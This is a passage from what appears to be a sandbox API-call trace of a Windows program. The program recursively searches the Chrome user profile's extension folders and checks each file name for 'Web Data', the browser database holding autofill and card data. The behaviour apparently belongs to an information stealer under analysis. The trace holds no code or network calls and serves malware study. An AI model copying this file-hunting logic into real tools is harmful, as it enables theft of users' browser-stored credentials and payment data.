Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.498] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0078.498] LocalFree (hMem=0x6523b0) returned 0x0 [0078.498] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned 127 [0078.498] lstrlenA (lpString="\\*.*") returned 4 [0078.498] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0078.498] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0078.498] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*" [0078.498] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.498] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.498] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.498] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.498] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.498] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.498] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.498] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.499] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.499] LocalFree (hMem=0x6525c0) returned 0x0 [0078.499] LocalFree (hMem=0x6524b8) returned 0x0 [0078.499] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.499] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0078.499] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0078.499] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.499] lstrlenA (lpString="\\") returned 1 [0078.499] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.499] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.499] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.499] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.499] lstrlenA (lpString="es") returned 2 [0078.499] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.499] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.499] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0078.499] LocalFree (hMem=0x6523b0) returned 0x0 [0078.499] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned 124 [0078.499] lstrlenA (lpString="\\*.*") returned 4 [0078.499] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.499] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0078.499] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*" [0078.499] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.500] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.500] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.500] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.500] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.500] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.500] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.500] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.500] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.500] LocalFree (hMem=0x6525c0) returned 0x0 [0078.500] LocalFree (hMem=0x6524b8) returned 0x0 [0078.500] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.500] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0078.500] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0078.500] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.500] lstrlenA (lpString="\\") returned 1 [0078.500] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.500] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.500] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.500] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.500] lstrlenA (lpString="es_419") returned 6 [0078.500] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6524b8 [0078.500] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.500] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0078.500] LocalFree (hMem=0x6523b0) returned 0x0 [0078.500] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned 128 [0078.500] lstrlenA (lpString="\\*.*") returned 4 [0078.500] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x6525c8 [0078.500] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0078.500] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*" [0078.500] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.501] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.501] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.501] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.501] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.501] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.501] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.501] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.501] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.501] LocalFree (hMem=0x6525c8) returned 0x0 [0078.501] LocalFree (hMem=0x6524b8) returned 0x0 [0078.501] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.501] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0078.501] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0078.501] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.501] lstrlenA (lpString="\\") returned 1 [0078.501] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.501] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.501] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.501] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.501] lstrlenA (lpString="et") returned 2 [0078.501] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.501] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.501] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0078.501] LocalFree (hMem=0x6523b0) returned 0x0 [0078.501] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned 124 [0078.501] lstrlenA (lpString="\\*.*") returned 4 [0078.501] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.501] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0078.501] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*" [0078.501] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.502] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.502] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.502] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.502] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.502] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.502] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.502] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.502] LocalFree (hMem=0x6525c0) returned 0x0 [0078.502] LocalFree (hMem=0x6524b8) returned 0x0 [0078.502] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.502] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0078.502] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0078.502] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.502] lstrlenA (lpString="\\") returned 1 [0078.502] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.502] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.502] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.502] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.502] lstrlenA (lpString="fi") returned 2 [0078.502] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.503] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.503] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0078.503] LocalFree (hMem=0x6523b0) returned 0x0 [0078.503] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned 124 [0078.503] lstrlenA (lpString="\\*.*") returned 4 [0078.503] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.503] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0078.503] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*" [0078.503] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.503] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.503] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.503] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.503] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.503] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.503] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.503] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.503] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.503] LocalFree (hMem=0x6525c0) returned 0x0 [0078.503] LocalFree (hMem=0x6524b8) returned 0x0 [0078.503] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.503] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0078.503] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0078.503] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.503] lstrlenA (lpString="\\") returned 1 [0078.503] LocalAlloc (uFlags=0x40, 